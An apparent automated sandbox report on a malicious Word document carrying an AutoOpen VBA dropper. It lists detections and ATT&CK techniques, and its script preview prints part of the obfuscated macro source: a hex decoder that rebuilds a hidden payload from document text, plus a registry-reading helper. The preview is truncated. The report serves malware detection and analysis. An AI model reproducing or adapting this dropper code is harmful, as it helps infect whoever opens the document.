MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject and GetObject calls. This indicates the macro is designed to execute code, likely to download and run a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6919290-0' further supports its role as a dropper. No specific family could be identified, but the techniques used are common for macro-based malware delivery.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6919290-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6919290-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 24027 bytes |
SHA-256: af624987a00c13b856957536531b7451a7c62c71a8bfc6d98a7587c95a235411 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Private Function cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw(ByVal strAscii As String) As Byte
Dim kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC As Byte
Dim Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe As Byte
Dim gd5GkTN9yuWM7mkM0tbpdPi7OUOGV3C0Okf44Eh3 As String * 1
kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC = 0
If (Len(strAscii) = 1) Then
gd5GkTN9yuWM7mkM0tbpdPi7OUOGV3C0Okf44Eh3 = Mid(strAscii, 1, 1)
Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe = Asc(gd5GkTN9yuWM7mkM0tbpdPi7OUOGV3C0Okf44Eh3)
If (Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe >= 65 And Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe <= 70) Then
Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe = Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe - 65 + 10
Else
Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe = Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe - 48
End If
kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC = Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe
End If
cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw = kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC
End Function
Private Function GLifuze_GBojIRnucyfyzZii1xLCmoi3dANIqhxQ(cb As Integer) As String
Randomize
Dim PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz As String
PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz = "abcdefghijklmnopqrstuvwxyz"
PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz = PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz & UCase(PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz) & "0123456789"
For i = 1 To cb
RandomString = RandomString & Mid$(PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz, Int(Rnd() * Len(PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz) + 1), 1)
Next
GLifuze_GBojIRnucyfyzZii1xLCmoi3dANIqhxQ = RandomString
End Function
Private Function WJjNw7T1vjrW0eYHs_eWOCDhjl584G3W_pBRGwNU() As String
Dim a_2X4gvOjNa6MSZI9tzrgWHnhDamqaB3cjf54ipC As Document
Dim qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI As String
Dim j1tC7fe6rJh4hi1W8XgESsxLaS0FAglXI6GEE691 As String * 1
Dim CdUBYLE6Xs7_B08SuIrgezyaolnbCni1Of1EzXOq As String * 1
Dim dVI79llHYPaWGTO3HKdCnsuza6cm_ujyV02jRp12 As Byte
Dim KhU1yuNJYhTJsZT__LhAlI4YNG6AAmyJNaiT5GW2 As Byte
Dim QjHACuQKhDHtqMs2dXfSnd9CK9WiG0VkQfK20umi As Long
Dim RnjXF4j0IgF9r4FDa5Rsxy3gInEb1q1JAX0_VcXG As Long
Dim RWAqlLTLA7TWEVLjj2fhq7ZieXzv3FJY8aBDXEVY As String
Dim vUBVy65GbHHSXFfJXibpboHWoVNtj8nF7hNyy3L8 As String
Dim RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy As String
qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI = ActiveDocument.Paragraphs(ActiveDocument.Paragraphs.Count - 5).Range.Text
RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy = ""
For i = 1 To Len(qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI) - 1 Step 2
j1tC7fe6rJh4hi1W8XgESsxLaS0FAglXI6GEE691 = Mid(qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI, i, 1)
CdUBYLE6Xs7_B08SuIrgezyaolnbCni1Of1EzXOq = Mid(qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI, i + 1, 1)
dVI79llHYPaWGTO3HKdCnsuza6cm_ujyV02jRp12 = cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw(j1tC7fe6rJh4hi1W8XgESsxLaS0FAglXI6GEE691)
KhU1yuNJYhTJsZT__LhAlI4YNG6AAmyJNaiT5GW2 = cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw(CdUBYLE6Xs7_B08SuIrgezyaolnbCni1Of1EzXOq)
Value = dVI79llHYPaWGTO3HKdCnsuza6cm_ujyV02jRp12 * 16 + KhU1yuNJYhTJsZT__LhAlI4YNG6AAmyJNaiT5GW2
RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy = RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy & Chr(Value)
Next i
WJjNw7T1vjrW0eYHs_eWOCDhjl584G3W_pBRGwNU = RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy
End Function
Private Function GK72Xm2ZD5fr3C2j51tb1LXPfwWCE60Xdkg3vAkY(lzTMjTNJdrnlaZch3SIlndBhJFJuLWar4mKaHrae, regKey)
On Error Resume Next
lzTMjTNJdrnlaZch3SIlndBhJFJuLWar4mKaHrae.RegRead regKey
GK72Xm2ZD5fr3C2j51tb
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.